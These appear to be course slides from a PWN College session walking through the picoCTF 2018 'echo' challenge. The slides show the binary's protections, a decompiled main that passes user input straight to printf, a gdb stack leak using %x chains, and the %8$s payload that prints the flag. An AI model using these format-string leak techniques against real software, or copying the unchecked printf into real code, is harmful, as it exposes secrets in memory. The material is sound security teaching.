PWN College

Session 18

Atousa Ahsani

References: https://pwn.college/, https://guyinatuxedo.github.io/

Format Strings

Picoctf 2018 echo

Picoctf 2018 echo

- It is a **32-bit dynamically** linked binary, with a **Non-Executable** stack, no PIE.

```
→  pico18_echo file echo
echo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a5f76d1d59c0d562
ca051cb171db19b5f0bd8fe7, not stripped
→  pico18_echo checksec echo
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

- When we run it, it prompts us for **input** and prints it back to us. We can also see that with ***%x*** that there is a **format string bug**
  - when ***printf*** doesn't specify the format for data to be printed, and the data can.

```
→  pico18_echo ./echo
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> hello
hello
> %x.%x
40.f7f5f580
>
```

Picoctf 2018 echo

- Looking at the ***main*** function in **ghidra**, we see this.
- So we can see a few things here. First the **format string** bug takes place in a **loop** that on paper will run **infinitely** (the while true loop).
- However before that, we see that it actually **scans** the **contents** of the **flag** file to a **char array** on the **stack** for main, so it's not too far away (also we need to have a **flag.txt** file in the same directory as the executable when we run it).

```
void main(undefined4 param_1,undefined4 param_2)

{
  __gid_t __rgid;
  FILE *__stream;
  int in_GS_OFFSET;
  char local_94 [64];
  char local_54 [64];
  undefined4 local_14;
  undefined *puStack12;

  puStack12 = &param_1;
  local_14 = *(undefined4 *)(in_GS_OFFSET + 0x14);
  setvbuf(stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  memset(local_94,0,0x40);
  memset(local_94,0,0x40);
  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts(
        "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running
        this on the shell server."
        );
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(local_54,0x40,__stream);
  do {
    printf("> ");
    fgets(local_94,0x40,stdin);
    printf(local_94);
  } while( true );
}
```

Picoctf 2018 echo

- If we can find the **offset** to it's pointer, we can just print it using ***%s*** with the **format string** bug. We can check the offset using **gdb**. We will essentially just leak a bunch of values, check to see where the flag is in **memory**, and see if any of those values is a **pointer** to the flag.

```
→  pico18_echo cat flag.txt
flag{flag}
```

```
→  pico18_echo gdb-gef echo
gef➤  r
Starting program: /home/PWNCollegeCourse_TMU/18/pico18_echo/echo
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%
x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
40.f7fa5580.8048647.804832d.f7fdc6dd.8048248.ffffd114.ffffd01c.3e8.804b1a0.252e7825.
78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.782
52e78.> 40.f7fa5580.8048647.804832d.f7fdc6dd.8048248.ffffd114.ffffd01c.3e8.804b1a0.2
52e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
> ^C
Program received signal SIGINT, Interrupt.
0xf7fcf549 in __kernel_vsyscall ()
```

Picoctf 2018 echo

```
gef➤  search-pattern flag{flag}
[+] Searching 'flag{flag}' in memory
[+] In '[heap]'(0x804b000-0x806d000), permission=rw-
  0x804b2e0 - 0x804b2ec  →   "flag{flag}\n"
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
  0xffffd01c - 0xffffd028  →   "flag{flag}\n"
```

- So we can see that on the stack the contents of ***flag{flag}*** resides at 0xffffd01c. We can also see that we can reach it using the format string bug at ***offset 8***.

```
40.f7fa5580.8048647.804832d.f7fdc6dd.8048248.ffffd114.ffffd01c.3e8.804b1a0.252e7825.
78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.782
52e78.> 40.f7fa5580.8048647.804832d.f7fdc6dd.8048248.ffffd114.ffffd01c.3e8.804b1a0.2
52e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
```

- With this, we can leak the flag.

```
→  pico18_echo ./echo
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %8$s
flag{flag}
```